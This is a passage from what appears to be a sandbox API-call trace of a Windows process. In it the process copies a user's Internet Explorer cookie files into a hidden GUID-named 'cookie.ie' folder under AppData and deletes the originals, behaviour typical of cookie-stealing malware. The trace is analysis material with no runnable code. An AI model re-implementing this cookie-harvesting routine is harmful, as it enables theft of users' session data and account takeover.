lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0112.843] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0112.843] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0112.843] StrChrW (lpStart="aetadzjz@adform[2].txt", wMatch=0x94e005c) returned 0x0 [0112.843] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@adform[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adform[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adform[2].txt" [0112.843] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adform[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adform[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adform[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@adform[2].txt"), bFailIfExists=0) returned 1 [0113.739] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0113.739] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adform[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adform[2].txt")) returned 1 [0113.740] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91e00 | out: hHeap=0x9770000) returned 1 [0113.740] lstrlenW (lpString="Low\\aetadzjz@adnxs[2].txt") returned 25 [0113.740] lstrlenW (lpString="\\cookie.ie") returned 10 [0113.740] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0113.740] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf0) returned 0x9a6e990 [0113.740] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0113.741] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0113.741] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0113.741] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0113.741] StrChrW (lpStart="Low\\aetadzjz@adnxs[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@adnxs[2].txt" [0113.741] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0113.741] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0113.741] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0113.741] StrChrW (lpStart="aetadzjz@adnxs[2].txt", wMatch=0x94e005c) returned 0x0 [0113.741] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@adnxs[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adnxs[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adnxs[2].txt" [0113.741] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adnxs[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adnxs[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adnxs[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@adnxs[2].txt"), bFailIfExists=0) returned 1 [0113.745] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0113.745] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adnxs[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adnxs[2].txt")) returned 1 [0113.747] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91f10 | out: hHeap=0x9770000) returned 1 [0113.748] lstrlenW (lpString="Low\\aetadzjz@adscale[1].txt") returned 27 [0113.748] lstrlenW (lpString="\\cookie.ie") returned 10 [0113.748] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0113.748] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf4) returned 0x9a6e990 [0113.748] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0113.748] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0113.748] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0113.748] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0113.748] StrChrW (lpStart="Low\\aetadzjz@adscale[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@adscale[1].txt" [0113.748] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0113.748] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0113.748] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0113.748] StrChrW (lpStart="aetadzjz@adscale[1].txt", wMatch=0x94e005c) returned 0x0 [0113.748] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@adscale[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adscale[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adscale[1].txt" [0113.748] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adscale[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adscale[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adscale[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@adscale[1].txt"), bFailIfExists=0) returned 1 [0113.751] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0113.751] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adscale[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adscale[1].txt")) returned 1 [0113.752] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92020 | out: hHeap=0x9770000) returned 1 [0113.752] lstrlenW (lpString="Low\\aetadzjz@adserving.ancoraplatform[2].txt") returned 44 [0113.752] lstrlenW (lpString="\\cookie.ie") returned 10 [0113.752] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0113.752] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x116) returned 0x9a94c50 [0113.752] lstrcpyW (in: lpString1=0x9a94c50, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0113.752] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0113.752] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0113.753] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0113.753] StrChrW (lpStart="Low\\aetadzjz@adserving.ancoraplatform[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@adserving.ancoraplatform[2].txt" [0113.753] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0113.753] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0113.753] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0113.753] StrChrW (lpStart="aetadzjz@adserving.ancoraplatform[2].txt", wMatch=0x94e005c) returned 0x0 [0113.753] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@adserving.ancoraplatform[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adserving.ancoraplatform[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adserving.ancoraplatform[2].txt" [0113.753] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adserving.ancoraplatform[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adserving.ancoraplatform[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adserving.ancoraplatform[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@adserving.ancoraplatform[2].txt"), bFailIfExists=0) returned 1 [0113.984] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a94c50 | out: hHeap=0x9770000) returned 1 [0113.984] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adserving.ancoraplatform[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adserving.ancoraplatform[2].txt")) returned 1 [0113.984] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92140 | out: hHeap=0x9770000) returned 1 [0113.984] lstrlenW (lpString="Low\\aetadzjz@adsrvr[1].txt") returned 26 [0113.985] lstrlenW (lpString="\\cookie.ie") returned 10 [0113.985] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0113.985] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf2) returned 0x9a6e990 [0113.985] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0113.985] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0113.985] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0113.985] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0113.985] StrChrW (lpStart="Low\\aetadzjz@adsrvr[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@adsrvr[1].txt" [0113.985] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0113.985] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0113.985] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0113.985] StrChrW (lpStart="aetadzjz@adsrvr[1].txt", wMatch=0x94e005c) returned 0x0 [0113.985] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@adsrvr[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adsrvr[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adsrvr[1].txt" [0113.985] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adsrvr[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adsrvr[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adsrvr[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@adsrvr[1].txt"), bFailIfExists=0) returned 1 [0114.438] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0114.438] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adsrvr[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adsrvr[1].txt")) returned 1 [0114.439] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92400 | out: hHeap=0x9770000) returned 1 [0114.439] lstrlenW (lpString="Low\\aetadzjz@adtech[2].txt") returned 26 [0114.439] lstrlenW (lpString="\\cookie.ie") returned 10 [0114.439] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0114.439] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf2) returned 0x9a6e990 [0114.439] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0114.439] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0114.439] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0114.439] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0114.439] StrChrW (lpStart="Low\\aetadzjz@adtech[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@adtech[2].txt" [0114.439] lstrcatW (in: 